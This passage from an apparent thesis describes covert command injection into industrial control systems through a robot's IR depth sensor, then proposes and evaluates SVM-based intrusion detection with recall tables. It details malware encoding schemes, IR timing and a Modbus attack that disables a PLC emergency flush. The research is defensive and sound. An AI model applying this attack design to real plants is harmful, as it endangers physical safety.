Given the constants $C$, $b_l$ and $b_u$, we define 4 different encoding schemes:

$S_{L1}$ In the encoded phase, a bit 1 (0) is encoded by generating a pulse with a length $L(P)$ randomly chosen in the range $(C, b_u]$ ($[b_l, C)$). While, in the decoded phase, a pulse $P$ is decoded as 1 (0) if $L(P) > C$ ($L(P) < C$).

$S_{L0}$ In the encoded phase, a bit 0 (1) is encoded by generating a pulse with a length $L(P)$ randomly chosen in the range $(C, b_u]$ ($[b_l, C)$). While, in the decoded phase, a pulse $P$ is decoded as 0 (1) if $L(P) > C$ ($L(P) < C$).

$S_{H1}$ In the encoded phase, a bit 1 (0) is encoded by generating a pulse with a height $H(P)$ randomly chosen in the range $(C, b_u]$ ($[b_l, C)$). While, in the decoded phase, a pulse $P$ is decoded as 1 (0) if $H(P) > C$ ($H(P) < C$).
In the encoded phase, a bit 1 (0) is encoded by generating a pulse with a height $H(P)$ randomly chosen in the range $(C, b_{u})$ ([b$_{l}$, C]). While, in the decoded phase, a pulse $P$ is decoded as 1 (0) if $H(P) > C$ ($H(P) < C$).

The above concept is represented in Figure 3.4-(a) with a sequence of pulses representing the 11010010 bit-sequence that are transmitted through the sensory channel, utilizing $L(P)$, a constant value $C = 10$ as an encoding parameter, and $S_{L1}$ as the encoding schema. In our model, any $P$ with more than ten samples length $L(P)$ are recognized by the implanted Malware as a 1 and the $P$ with the length less than ten are interpreted as a 0. The second encoding/decoding schema is represented in Figure 3.4-(b) which is based on the $H(P)$, a constant value $C = 2500$ as an encoding parameters, and $S_{H1}$ as the encoding function. A pulse with the height of more than 2500 is interpreted as a 1 otherwise 0. With these two encoding schemes, the decoding logic in the Malware is able to interpret the values less than or greater than $C$ as either 1 or 0.

As demonstrated in the above examples, it is possible to construct different encoding schemes based on the different constant $C$. This will result in a vast amount of possible encoding combinations for every bit-sequence. This provides flexibility for the attacker in selecting an appropriate encoding function based on the infrastructure and the situation at hand. As a result, detection of these types of injections becomes complicated.

Despite a large number of possible encoding schemas, the implanted Malware will be able to decode the injected data or control command using only its ability to detect pulses and know the constant $C$. However, it will be challenging for a defense system
3.2 Intrusion Detection System (IDS) Framework System

The proposed IDS framework resides on the devices that are connected to the sensory channels to actively monitor the signals for detection. Figure 3.5 depicts an overview of the proposed framework. The proposed IDS framework will be designed and developed based on two phases: a training phase and an attack detection in real-time system phase.

In the **training phase**, the IDS learns how to differentiate between the normal behavior of the signal and its behavior under attack. In this phase, data is collected based on the sensory channel’s signal characteristics, i.e. transaction, frequency, and amplitude during the normal operation and under the attack. Then the sampling signals are transformed from a continuous signal into a discrete signal so that a
window shifting algorithm can be used for feature extraction of the signal. Further, the **Fourier** and/or **Wavelet** [25, 26, 27, 28, 47] transformations are applied to clean and prepare the data for the semi-supervised classification model.

In the **Detection phase** the trained classification model is utilized to detect the attack in the sensory channel and create an alarm to notify the control technicians.

The rest of this section is dedicated to describing the details of the proposed framework.

### 3.2.1 Signal Sampling and Feature Extraction

In Figure 3.5 module (3) is responsible for sampling signals and feature extraction. The sampling signals task transforms a continuous signal into a discrete signal, i.e. a sequence of sample signal values. Given the discrete signal, we use a window shifting algorithm that at each iteration shifts of $\rho_s$ time units a windows of length $\rho_l$. For each iteration $t$ a vector $x^t$ of $\rho_l$ elements containing all the signal value is generated. This vector is the main input that our classification model will process.

Before it can perform any classification task, the signal represented by the vector feature $v_t$ has to be cleaned and transformed.

To clean the signal we use the wavelet procedure and as a transformation we use the Fast Fourier Transformation (FFT), which changes the signal in the time domain to the frequency domain.

The final output after these two procedures is a vector of new features that can be passed through standard classifiers.
Wavelet Transformation:

We use Discrete Wavelet Transformation (DWT) to remove noises and improve the pulse detection process. Basically, the DWT is a multi-level signal decomposition technique that allows the decomposition of a signal into high and low frequency spectra by passing the signal through high-pass and low-pass filters [26, 27]. Each decomposition level gets the low frequency output of the previous level and passes it through the filters. Every decomposition level halves the number of coefficients. Therefore, to keep enough coefficients that show the pulses, the IDS only decompose the original signal for one level. The approximate-coefficients generating function for first-

\[
\gamma_k = \sum_m g(2k - m)x_m
\]

\[
\lambda_k = \sum_m h(2k - m)x_m
\]

where the \(\lambda\) and \(\gamma\) are coefficients representing the low and high frequency part of the signal. \(k\) is the coefficients index, \(h(.)\) and \(g(.)\) are low-pass and high-pass filters which are built from the functions called wavelets, \(x_m\) is the original signal samples. The the \(\lambda\) and \(\gamma\) are called approximate-coefficients and detail-coefficients respectively. Once \(\gamma\) is computed, we used it as a feature vector of dimension of cardinality \(m/2\) to represent the noise free version of the signal.

Fast Fourier Transformation:

The Discrete Fourier Transformation (DFT) converts finite number of equally spaced signal samples \(\langle s_0, \ldots, s_{N-1} \rangle\) into the sequence \(FD = \langle F_0, \ldots, F_{N-1} \rangle\) of complex
values in the frequencies domain. Each value $F_k$ in $FD$ is defined in the following way:

$$F_k = \sum_{n=0}^{N-1} s_n e^{-\frac{2\pi}{N} kn}$$

(3.9)

where $s_n$ is a signal sample, $N$ is the number of samples, and $k$ is the index associate with the frequency. The $F_k$ is a complex number consisting of the real part $F.r_k$ and imaginary part $F.i_k$. Once $FD$ is computed, we obtain a feature vector $SF_F$ of dimension of cardinality $2N$. An element in $SF_F$ is a single feature representing the real part $F.r_k$ or the imaginary part $F.i_k$ of any $F_k$ in the $FD$.

### 3.2.2 (Semi-)Supervised Classification Models and Hyper-Parameters estimation

Once the features are cleaned and transformed, our procedure uses standard supervised and semi-supervised classification models (see Figure 3.5 modules 4 and 5) to discriminate between attacks and good behaviors.

**Supervised Classification Models**

The supervised classification models are trained by using labeled examples from the misused signals and the normal behaviors. In this paper, we consider several classification models such as Support Vector Machine (SVM) [22, 29], classification tree [42] and random forest [41]. All the supervised training algorithms use one or more hyperparameter, e.g., $\gamma$ in SVM classifier with RBF kernel. To estimate these parameters we use a standard procedure consisting of a nesting cross-folding procedure [40] combined with the F1-score [46]. The nesting cross-folding procedure consists in divide the dataset in $k$ folds. For each fold, the procedure will provide
a validation part represented by the current fold and a training portion represented by the union of the remaining folds. Given a specific set of values assigned to the hyperparameters, the procedure evaluates the assignment by computing the average F1-score for each fold. Given a fold, the score is computed by using the classification results of the model applied to the validation portion of the cross-folding procedure and trained on the training portion. By using a brute-force strategy, the procedure enumerates all the possible sets of values that can be assigned to the hyperparameters and it chooses the set of values producing the highest average F1-score.

**Semi-Supervised Classification Models**

Supervised classification models, because they are trained with attacks and good behavior examples, can recognize attacks similar to to the ones used in the training. However, they do not usually perform well in the case of new and unknown attacks. In the experiment section, we show that the classification models trained with only one type of attack have low accuracy in detecting different attacks. Our experiment shows that even a small variation in a misused signal makes the supervised classifier unable to detect the attack. Therefore, an attacker can avoid detection by creating a misused signal different from the training signals. To address this problem, the IDS framework uses a semi-supervised classification model, to solve the novelty detection problem. Novelty detection is the procedure to train a classifier that will discriminate normal situations from novel ones. The novelty detection training procedure uses only examples representing normal situations. In our specific problem, normal situations are represented by the channel normal behavior and novel situations should be the misused signal. Therefore, our training dataset, \( X_{tr} = \{x_1^r, \ldots, x_n^r\} \), contains only feature vectors associated with the normal behavior.
In this paper, we tried different algorithm that can be used as novelty models including Gaussian mixture [43], isolation forest [44], and one-class Support Vector Machine (SVM) [45] by often manually setting different hyperparameters. Different from the supervised classification model, the novelty detection does not have a standard procedure to estimate the hyperparameters. This is because the training set contains only one class.

However, according to the specific structure of the one-class SVM with RBF kernel, we are able to provide a fast and meaningful procedure to automatically estimate its RBF kernel hyper-parameter $\gamma$. This is because the automatic hyperparameter estimation procedure and the one-class SVM procedure, in our experiments, this is the best procedure for novelty detection w.r.t the other with the manual setting of the parameters.

Before we can explain the one-class SVM, we must first introduce the concepts of RBF kernel function and kernel map: Radial Basis kernel Function (RBF) estimates the similarity between two sample data [35]. It is defined as follows:

$$K(x, x') = \exp(-\gamma \|x - x'\|^2), \gamma > 0$$  \hspace{1cm} (3.10)

where the $x$ and $x'$ are two sample data and $\gamma$ is the kernel parameter. The kernel map $\phi : X \rightarrow H$ is a function that using a kernel function transforms the feature vector from the original space $X$ to a new space $H$. More specifically, by using training set $X_{tr}$ defined above, the kernel map is defined as $\phi(x) = [K(x, x_1^{tr}), \ldots, K(x, x_n^{tr})]$ where $K$ is RBF kernel function defined in 3.10.

The training algorithm of the one-class SVM is based on solving the following quadratic program:
\[
\min \frac{1}{2}||w||^2 - \rho + \frac{1}{|X_{tr}|} \sum_{x \in X_{tr}} \xi_x
\]

subject to
\[
w\phi(x) \geq \rho - \xi_x \quad \text{and} \quad \xi_x \geq 0 \quad \forall x \in X_{tr}
\]

where \((w, \rho)\) represents the hyper-plane separating the normal behaviour signals from the misused signals. Given an example \(x \in X_{tr}\), the one-class SVM if \(w\phi(x) \geq \rho\) will classify \(x\) as a normal behaviour, otherwise as a novel one that is potentially malicious.

Given the quadratic program, \(\gamma\) is the RBF function is the hyperparameter to estimate. The \(\gamma\) helps to balance between the variance and bias in the model. It is possible to see that the bigger \(\gamma\) makes the model more biased and specialized in recognizing the example of the training. At the same time, the bigger is gamma, lower is the ability of one-class SVM to generalize the normal behavior and correctly recognize normal examples not present in the training.

We propose Algorithm 3 that maximizes \(\gamma\) on the interval \([\gamma_{min}, \gamma_{max}]\) (provided in input) till the percentage of normal behaviour examples, misclassified by the one-class SVM does not exceed the limit \(\alpha\). This algorithm uses the cross-folding procedure used in the classification to compute the percentage of misclassified normal behavior examples. Since increasing \(\gamma\) means reducing the generalization ability of the model, the algorithm will stop increasing \(\gamma\) when the number of misclassified normal behavior examples are not anymore well classified, i.e. the model will start to recognize only the example very close to the ones in the trainingset. Moreover, the maximization of gamma is important because it makes it more sensible to the one-class SVM, and more capable to detect weird situations, i.e potential attacks. To make this search faster, instead of enumerating all possible value of \(gamma\) we
Algorithm 3
Gamma Estimation Procedure that takes in input the trainingset $X_{tr}$, the acceptable percentage of outliers $\alpha$ and the search interval $[\gamma_{\text{min}}, \gamma_{\text{max}}]$ for $\gamma$

while not $\gamma_{\text{max}} - \gamma_{\text{min}} \approx 0$ do
    $\gamma_{\text{mean}} \leftarrow (\gamma_{\text{min}} + \gamma_{\text{max}})/2$
    folds[] $\leftarrow$ split $X_{tr}$ into $k$ folds
    $\text{numOfDetectedOutliers} \leftarrow 0$
    for each fold $\in$ folds do
        trainSet $\leftarrow$ folds $-$ fold
        validationSet $\leftarrow$ fold
        model $\leftarrow$ buildTheModel(meanGamma, trainSet)
        $\text{numOfDetectedOutliers} \leftarrow \text{numOfDetectedOutliers} +$
        $\text{numebrOfOutliersDetectedByModel(model, validationSet)}$
    end for
    if $\text{numOfDetectedOutliers}|X_{tr}| > \alpha$ then
        $\gamma_{\text{max}} \leftarrow \gamma_{\text{mean}}$
    else
        $\gamma_{\text{min}} \leftarrow \gamma_{\text{mean}}$
    end if
end while
$\gamma_{\text{best}} \leftarrow \gamma_{\text{min}}$
implemented in Algorithm 3 a binary search. This procedure is correct because of
the specific behavior of $\gamma$ in this context.

To evaluate the signal featuresets and IDS in practice, we conducted several
experiments. The next chapter goes over the experiments including attacking a PLC,
evaluating the IDS detection accuracy, and the IDS time performance.
CHAPTER 4

EXPERIMENTS

4.1 Test Bed Description

To emulate an ICS process environment, we created a test-bed composed of an iClebo Kobuki robot [7], a Velocio Ace-11 Programmable Logic Controller (PLC) [9], a laptop as an HMI, and a USB IR-toy as an attack device [Figure 4.1].

The test-bed uses the iClebo Kobuki robot [7] as a physical system. The Kobuki is a mobile research robot equipped with actuators, connection interfaces, and diverse type sensors including three Sharp GP2Y0A21 depth IR sensors [6]. In our experiments, we tried to misuse the depth IR sensor as a C2 Channel to inject data into the system. The depth IR sensor is composed of one IR emitter and one IR receiver. The IR emitter sends IR light to the surface beneath the Kobuki, and then the receiver calculates the depth under the Kobuki based on the angle of reflected IR light. The reflected angle depends on the surface reflection ratio. Therefore, moving on different surfaces with different reflect ratio can cause an inconsistency in the sensor output. The sensor maps the received IR angle to the output voltage in the range of -0.3 to 0.3 V. The Kobuki is also equipped with a Abov® mc81f4316D micro-controller which has a 12-bit ADC. The ADC converts the sensor analog outputs to digital values with the sampling rate between 4.2 MHz to 12.0 MHz. The Kobuki reports the sensor valued to the HMI every 20ms (50Hz). As a control logic, the Kobuki is
programmed to move around until it faces an obstacle or a deep cliff then it stops and turns 40 degrees and then starts moving again. It also stops three seconds for every 20 seconds moving.

The Velocio Ace-11 is a PLC with six output pins (coils). The PLC is programmed to control a multi-step chemical mixing process. The general description of each step is as follows:

- Step one: Fill the mixing tank with chemical number one by turning ON the first output pin at the address number 0x000F for 3 seconds.

- Step two: Fill the mixing tank with chemical number two by turning ON the second output pin at the address number 0x000B for 5 seconds.

- Step three: Fill the mixing tank with chemical number three by turning ON the third output pin at the address number 0x000C for 3 seconds.

- Step four: mix the chemicals for 5 seconds by turning ON the fourth output pin at the address number 0x000D.
• Step five: empty the tank for 11 seconds by turning ON the fifth output pin with the address number 0x000E.

• Emergency flush: in case of an emergency stop the mixing process and empty the tank by turning ON the sixth output pin with the address number 0x000A.

The Kobuki and PLC are both connected via USB interfaces to a laptop as an HMI device for monitoring purposes. The PLC-HMI connection uses Modbus RTU as the communication protocol.

The IR-toy is an attack device used to manipulate the Kobuki’s IR-depth sensor. The IR-toy is a USB dongle which can be programmed to emit IR signals with milliseconds accuracy. We attached the IR-toy under the Kobuki, face to the IR sensor. The IR-toy is attached in a way that it will not interfere with the normal sensor behavior when the IR-toy is not emitting IR light.

4.2 Possible Attack Scenario

As described in Section 2 and as depicted in Figure 4.2-(a), the first Malware planted on the sensory channel utilizes the IR-toy to manipulate the Kobuki’s IR sensor and inject pulses into the sensory channel. The Malware sends commands to the IR-toy to emit or not emit IR-light for a specific amount of time according to $S_{L0}$, $S_{L1}$, $S_{H0}$, and $S_{H1}$. Figure 4.2(b) and (c) represents an example of the injected control command that disables the emergency flush in the control logic of the PLC. This is possible by sending the value (0X0001), which mean ON, to the output address (0X000A) of the PLC.

We used the IR-toy to manipulate the IR sensor and create pulses in the IR sensory channel. We used a command line application called irtoy.exe to send commands to
the IR-toy. The `irtoy.exe` commands the IR-toy device to emit or not emit IR-light for a specific amount of time.

The following describes the process of creating length and height patterns:

Creating Length Schemas $S_{L0}$ and $S_{L1}$: by putting the IR-toy where the emitted light is received perpendicular via the sensor receiver, the sensor detects a deep cliff and generates a small value as an output (around 30). The drop in the sensor output causes a $DS_f$. When the IR-toy stops emitting light, the value jumps to a higher number and creates a $DS_r$.

Creating Height Schemes $S_{H0}$ and $S_{H1}$: For creating low amplitude pulses, we used the same setup as we used for length schemes. For creating high amplitude pulses, IR-toy sends IR-light for 3983 $\mu$s and stop for 3983 $\mu$s periodically. This IR-light sequence causes the sensor output spikes to value around 3000 for one or two samples.
Following the injection, the second Malware, that is planted in the laptop, decodes the injected command and utilizing the existing vulnerabilities in the Modbus protocol [48, 49] is able to disable the emergency flush so the control technicians are not able to enable this feature. This is considered a serious safety issue.

4.3 Data Collection and IDS Experimental Settings

To test the performance of our IDS, we collected data from the Kabuki sensory channel in two main situations. In the first situation, the Kabuki is acting normally, i.e., moving around on the floor. To avoid, bias data we collected this data on different kind of floors, e.g. carpet of the university, different wood ladder, cemetery floors (grass, cement, rocks), etc. In total, we captured more than four hours of data representing normal behavior. In the second situation, we collected data from the sensory channel when there is an attack. We collected 1,167 attack signals for four different encoding and six different commands for the Malware. Each command transmits the PLC output pin addresses (0x000A-0x000F) and value 0x0001 as the ON value to write in the addresses. The injected signals were generated for constant $C$ between ten and twenty for the length patterns ($L_0$ and $L_1$). Choosing the $C \in [10 – 20]$ enables us to create misused signals that are in the normal signal range and also do not cause big changes in the normal Kobuki behavior. For the height patterns ($H_0$ and $H_1$), it was hard to force the IR sensor to generate a vast range of amplitudes. But we managed to create misused signals that can use 1800, 2000, and 2500 as the $C$ without causing drastic changes in the Kobuki normal operation.

In Table 4.1 you can have a summary of all attack signals that we collected. After the signal collection, we used the time shifting windows algorithm to collect
<table>
<thead>
<tr>
<th>Attack Encoding Schema</th>
<th>Generated Signals</th>
</tr>
</thead>
<tbody>
<tr>
<td>( H_0 )</td>
<td>240</td>
</tr>
<tr>
<td>( H_1 )</td>
<td>240</td>
</tr>
<tr>
<td>( L_0 )</td>
<td>336</td>
</tr>
<tr>
<td>( L_1 )</td>
<td>351</td>
</tr>
</tbody>
</table>

Table 4.1: Number of attack signal for each attack encoding schema.

<table>
<thead>
<tr>
<th>( \rho_t )</th>
<th>( \rho_s )</th>
<th>Attack Samples</th>
<th>Normal Samples</th>
</tr>
</thead>
<tbody>
<tr>
<td>650</td>
<td>650</td>
<td>1159</td>
<td>1116</td>
</tr>
<tr>
<td>650</td>
<td>325</td>
<td>2322</td>
<td>2234</td>
</tr>
<tr>
<td>650</td>
<td>162</td>
<td>4660</td>
<td>4482</td>
</tr>
<tr>
<td>325</td>
<td>325</td>
<td>2326</td>
<td>2236</td>
</tr>
<tr>
<td>325</td>
<td>162</td>
<td>4668</td>
<td>4486</td>
</tr>
<tr>
<td>325</td>
<td>81</td>
<td>9342</td>
<td>8976</td>
</tr>
<tr>
<td>162</td>
<td>162</td>
<td>4672</td>
<td>4488</td>
</tr>
<tr>
<td>162</td>
<td>81</td>
<td>9350</td>
<td>8980</td>
</tr>
<tr>
<td>162</td>
<td>40</td>
<td>18943</td>
<td>18190</td>
</tr>
<tr>
<td>81</td>
<td>81</td>
<td>9354</td>
<td>8982</td>
</tr>
<tr>
<td>81</td>
<td>40</td>
<td>18951</td>
<td>18194</td>
</tr>
<tr>
<td>81</td>
<td>20</td>
<td>37907</td>
<td>36390</td>
</tr>
</tbody>
</table>

Table 4.2: Number of normal and attack examples for each windows length and windows shifting.

different feature vectors about normal behaviors and attacks. We consider 4 kinds of window size \( \rho_t \) i.e. 650, 325, 162 and 81 sample values. The 650 windows length is determined according to the largest time interval that we use to send a Malware command through the kabuki sensory channel. For each window size \( \rho_t \) we consider different windows shift \( \rho_s \), i.e. \( \rho_t, \rho_t/2, \rho_t/4 \).

In table 4.2 are provided the total number of attacks and normal behavior for each windows length \( \rho_t \) and windows size \( \rho_s \).

For each of the cases reported in Table 4.2, we used the following four transformation pipelines:
• **No Transformation** The original samples generated by the windows shifting algorithm are directly taken in input by the classifier model.

• **Fourier** Fourier transformation is the unique transformation applied before the classification.

• **Wavelet** Wavelet transformation is the unique transformation applied before the classification.

• **Wavelet + Fourier** The examples are first cleaned from the noise with the Wavelet transformation and after the Fourier transformation is applied.

In the case of the wavelet, we consider all 4 different wavelets described in Section 3.2.1. For each pipeline, we consider different classifier models. We use as supervised classifiers SVM with several kernels (linear, polynomial, and RBF), Decision Tree and Random Forest. While as semi-supervised classifiers we use Gaussian Mixture Model, Isolation Forest, and one-class SVM. The procedures to estimate all the hyperparameters are reported in Section 3.2.2.

To test all the pipeline transformations combined with all the classification models over the different dataset reported in table 4.2 we used a 10-folds cross folding procedure. The 10-folds cross folding procedure creates for each fold a training set (90% of the original size) and a test set (10% of the original size). To measure the performance we used the recall [39] that is the percentage of correctly classified element in a specific class, e.g. attack or normal behavior. For each fold and each of the two classes, attack or normal behavior, we computed the recall. We finally averaged all the results among all the folds. In the case of the semi-supervised classification model for the novelty detection problem, for each fold from the training set, we removed all the examples representing an attack.
4.4 Result Analysis

In this section, we discuss all the results obtained by each experiment described in the above section. More specifically we discuss:

- Results for supervised classification models.
- Performance of supervised classification models in the presence of unknown or new attacks.
- Performance of semi-supervised classification model for the novelty detection problem.
- Sensibility to the variation of windows size and windows shifting.

Furthermore, we briefly discuss the time performance of our approach and we finally conclude with the final discussion.

4.4.1 Results for Supervised Classification Model

In Tables 4.3, 4.4, 4.5, and 4.6 are reported the classification results only for the SVM classifier with the RBF kernel for all the transformation pipelines. This is because the SVM classifier with RBF in all the pipelines always achieves the best performance.
Figure 4.4: Attack Recall for Two-Class SVM.

Figure 4.5: Normal Behaviour Recall for One-Class SVM.

Figure 4.6: Attack Recall for One-Class SVM.
w.r.t. the other classifiers. The result in Tables 4.3, 4.4, 4.5, and 4.6 refer to a different windows length $\rho_l$ and windows shifting $\rho_s$. In addition, in the case of the wavelet, we report the result of recall among all the wavelet functions.

The main result that we can observe in Tables 4.3, 4.4, 4.5, and 4.6 is that in the supervised classification the prepossessing of the examples with Fourier and/or wavelet is not necessary. In fact, not using any of those transformations brings the best results. Moreover, it is possible to see according to the recalls values that supervised classification provides an almost perfect separation between attack and normal behavior (more than 0.996 recall for each class).

4.4.2 Performance of Supervised Classification Models in the Presence of Unknown or New Attacks.

In this analysis, we want to verify if supervised classification models can detect new or unknown kinds of attacks, i.e. kinds of attacks not present in the training set. In fact, in this experiment, we kept, in the training, only one kind of encoding schema for the attack and we test the model with all the kinds of attacks. In Tables 4.7, 4.8, 4.9, and 4.10, the column "Trained With Encoding Schema" indicates which kind of attack is the only one present in the training set. Different from the Tables 4.3, 4.4, 4.5, and 4.6 in Tables 4.7, 4.8, 4.9, and 4.10, we report the recall for each specific kind of attack (see the last four columns). Unfortunately, as we can see from Tables 4.7, 4.8, 4.9, and 4.10, in the case of the encoding schemes $H_0$ and $H_1$, the recalls of $L_0$ and $L_1$ are approximately close to zero. This means that supervised classification model is not always able to detect unknown or new kinds of attacks. For this motivation, we adopt a semi-supervised classification approach.
4.4.3 Performance of Semi-supervised Classification Model for the Novelty Detection Problem.

In Tables 4.11, 4.12, 4.13, and 4.14, we report the results for the one-class SVM with the hyperparameter estimation procedure defined in Section 3.2.2 for all the pipelines. This procedure, in terms of recall, outperforms all the other semi-supervised approaches that we use. Differently, from the supervised classification models, the Fourier pipeline significantly improves the performance of the semi-supervised classification model, and makes, in terms of performance, the semi-supervised equal to the supervised one. Moreover, it is important to notice that in the training set of the semi-supervised classification models there are not any attack examples. Therefore, if the recall of all the kinds of attacks are greater or equal to 0.982, at least in the case with the Fourier transformation, it means that the semi-supervised classification Model is also robust to new or unknown attacks. This makes the Fourier pipeline and the one-class SVM, with our hyperparameter estimation preferable to all the other models presented.

4.4.4 Sensibility to the Variation of Windows Size and Windows Shifting.

The window length $\rho_l$ and the windows shifting $\rho_s$ parameters can have an impact on the performance of both supervised and semi-supervised classification models. In our experiments, it was shown that the best case situation for supervised and semi-supervised classification models are the SVM and the one-class SVM with RBF kernel and Fourier transformation, respectively. These are the models we consider to show the sensibility analysis about $\rho_l$ and $\rho_s$. In Figure 4.3 and Figure 4.4 in the case of the supervised classification model, we show for each window length $\rho_l$ and
each windows shifting \( \rho_s \) in the values of the recall for normal behavior and attack, respectively. In Figure 4.5 and Figure 4.6 similar results are reported in the case of the semi-supervised classification model. As we can see from the above figures, changing the windows shifting \( \rho_s \) does not significantly change the recall values. The change of the length of the window \( \rho_l \) can substantially modify the recall especially in the case of the semi-supervised classification model, i.e., the one-class SVM with RBF kernel and Fourier transformation. Therefore, it is really important to use the largest possible windows length that the IDS has to consider. In addition, note that the window length has to be similar to the maximum time interval to send a Malware command. Of course, the strategy to avoid the IDS detection of the attacker communicating with the Malware is to enlarge as much as possible, this time interval. Fortunately, during the entire duration of an attack (i.e., the Malware command is sent through the sensory channel) the signal through the sensory channel is drastically modified and the kabuki is not able to understand the environment (e.g., obstacle). This means that for a large time interval the robot is clearly faulty, which means there is a limit to the size of the attack time interval.

4.4.5 Time Performance

We conducted another experiment to evaluate the models time performance for both supervised and semi-supervised models. We implemented the models in a python script and ran them on a Raspberry Pi. Since most industrial field devices are using mid-range processors, we chose Raspberry Pi 3 as a platform to have the same processing power. The average time from the moment the signal is passed to the transformation procedure until the SVM reports the result is about 0.19 seconds. The maximum reported time was 0.28 seconds which can be an acceptable time for
Table 4.3: Detection result for two-class SVM trained with samples from normal and all attack schema without any transformation.

<table>
<thead>
<tr>
<th>$\rho_l$</th>
<th>$\rho_s$</th>
<th>Normal Detection Recall</th>
<th>Attack Detection Recall</th>
<th>Total Weighted Recall</th>
<th>$H_1$ Detection Recall</th>
<th>$H_0$ Detection Recall</th>
<th>$L_1$ Detection Recall</th>
<th>$L_0$ Detection Recall</th>
</tr>
</thead>
<tbody>
<tr>
<td>650</td>
<td>650</td>
<td>0.993</td>
<td>0.997</td>
<td>0.996</td>
<td>1</td>
<td>1</td>
<td>0.997</td>
<td>1</td>
</tr>
<tr>
<td>650</td>
<td>325</td>
<td>0.993</td>
<td>0.997</td>
<td>0.996</td>
<td>1</td>
<td>1</td>
<td>0.995</td>
<td>1</td>
</tr>
<tr>
<td>650</td>
<td>162</td>
<td>0.993</td>
<td>0.997</td>
<td>0.996</td>
<td>1</td>
<td>1</td>
<td>0.999</td>
<td>1</td>
</tr>
<tr>
<td>325</td>
<td>325</td>
<td>0.737</td>
<td>0.839</td>
<td>0.806</td>
<td>0.637</td>
<td>0.631</td>
<td>0.807</td>
<td>0.936</td>
</tr>
<tr>
<td>325</td>
<td>162</td>
<td>0.865</td>
<td>0.922</td>
<td>0.904</td>
<td>0.74</td>
<td>0.747</td>
<td>0.931</td>
<td>0.985</td>
</tr>
<tr>
<td>325</td>
<td>81</td>
<td>0.718</td>
<td>0.831</td>
<td>0.795</td>
<td>0.639</td>
<td>0.643</td>
<td>0.828</td>
<td>0.894</td>
</tr>
<tr>
<td>162</td>
<td>162</td>
<td>0.727</td>
<td>0.827</td>
<td>0.795</td>
<td>0.599</td>
<td>0.601</td>
<td>0.818</td>
<td>0.891</td>
</tr>
<tr>
<td>162</td>
<td>81</td>
<td>0.718</td>
<td>0.831</td>
<td>0.795</td>
<td>0.639</td>
<td>0.643</td>
<td>0.828</td>
<td>0.894</td>
</tr>
<tr>
<td>162</td>
<td>40</td>
<td>0.748</td>
<td>0.828</td>
<td>0.802</td>
<td>0.555</td>
<td>0.556</td>
<td>0.812</td>
<td>0.888</td>
</tr>
<tr>
<td>81</td>
<td>81</td>
<td>0.664</td>
<td>0.775</td>
<td>0.739</td>
<td>0.547</td>
<td>0.545</td>
<td>0.752</td>
<td>0.824</td>
</tr>
<tr>
<td>81</td>
<td>40</td>
<td>0.677</td>
<td>0.777</td>
<td>0.744</td>
<td>0.529</td>
<td>0.529</td>
<td>0.751</td>
<td>0.822</td>
</tr>
<tr>
<td>81</td>
<td>20</td>
<td>0.675</td>
<td>0.775</td>
<td>0.744</td>
<td>0.529</td>
<td>0.529</td>
<td>0.751</td>
<td>0.822</td>
</tr>
</tbody>
</table>

4.4.6 Final Discussion

In these experimental results, we observe that one-class SVM with our hyperparameter estimation procedure outperforms all the other models. This is especially true in its ability to detect new or unknown attacks. To achieve this result the one-class SVM has to be paired with the Fourier transformation. Moreover, we realize that the use of wavelet transformation to clean the signal from the noise does not bring effective improvement both with the supervised and semi-supervised procedures. In addition, we observe that once the model is trained (one-class SVM and SVM), the inference time is really fast and it can be developed on a lower power consumption and limited platform like the Raspberry Pi, and used in real-time.
<table>
<thead>
<tr>
<th>$\rho_t$</th>
<th>$\rho_s$</th>
<th>Normal Detection Recall</th>
<th>Attack Detection Recall</th>
<th>Total Weighted Recall</th>
<th>$H_1$ Detection Recall</th>
<th>$H_0$ Detection Recall</th>
<th>$L_1$ Detection Recall</th>
<th>$L_0$ Detection Recall</th>
</tr>
</thead>
<tbody>
<tr>
<td>650</td>
<td>650</td>
<td>0.993</td>
<td>0.997</td>
<td>0.996</td>
<td>1</td>
<td>1</td>
<td>0.997</td>
<td>1</td>
</tr>
<tr>
<td>650</td>
<td>325</td>
<td>0.993</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.996</td>
<td>1</td>
</tr>
<tr>
<td>650</td>
<td>162</td>
<td>0.993</td>
<td>0.997</td>
<td>0.996</td>
<td>1</td>
<td>1</td>
<td>0.998</td>
<td>1</td>
</tr>
<tr>
<td>325</td>
<td>325</td>
<td>0.741</td>
<td>0.845</td>
<td>0.812</td>
<td>0.665</td>
<td>0.652</td>
<td>0.809</td>
<td>0.939</td>
</tr>
<tr>
<td>325</td>
<td>162</td>
<td>0.869</td>
<td>0.926</td>
<td>0.907</td>
<td>0.758</td>
<td>0.763</td>
<td>0.935</td>
<td>0.985</td>
</tr>
<tr>
<td>325</td>
<td>81</td>
<td>0.87</td>
<td>0.926</td>
<td>0.908</td>
<td>0.747</td>
<td>0.756</td>
<td>0.935</td>
<td>0.98</td>
</tr>
<tr>
<td>162</td>
<td>162</td>
<td>0.721</td>
<td>0.837</td>
<td>0.799</td>
<td>0.662</td>
<td>0.659</td>
<td>0.836</td>
<td>0.893</td>
</tr>
<tr>
<td>162</td>
<td>81</td>
<td>0.729</td>
<td>0.836</td>
<td>0.801</td>
<td>0.642</td>
<td>0.643</td>
<td>0.826</td>
<td>0.895</td>
</tr>
<tr>
<td>162</td>
<td>40</td>
<td>0.745</td>
<td>0.838</td>
<td>0.807</td>
<td>0.615</td>
<td>0.615</td>
<td>0.824</td>
<td>0.894</td>
</tr>
<tr>
<td>81</td>
<td>81</td>
<td>0.66</td>
<td>0.77</td>
<td>0.735</td>
<td>0.531</td>
<td>0.526</td>
<td>0.748</td>
<td>0.825</td>
</tr>
<tr>
<td>81</td>
<td>40</td>
<td>0.669</td>
<td>0.783</td>
<td>0.746</td>
<td>0.558</td>
<td>0.556</td>
<td>0.767</td>
<td>0.833</td>
</tr>
<tr>
<td>81</td>
<td>20</td>
<td>0.669</td>
<td>0.783</td>
<td>0.746</td>
<td>0.558</td>
<td>0.556</td>
<td>0.767</td>
<td>0.833</td>
</tr>
</tbody>
</table>

Table 4.4: Detection result for two-class SVM trained with samples from normal and all attack schema which are transformed by Fourier transformation.
<table>
<thead>
<tr>
<th>Wavelet Function</th>
<th>$\rho_1$</th>
<th>$\rho_2$</th>
<th>Normal Detection Recall</th>
<th>Attack Detection Recall</th>
<th>Total Weighted Recall</th>
<th>$H_2$ Detection Recall</th>
<th>$H_0$ Detection Recall</th>
<th>$L_1$ Detection Recall</th>
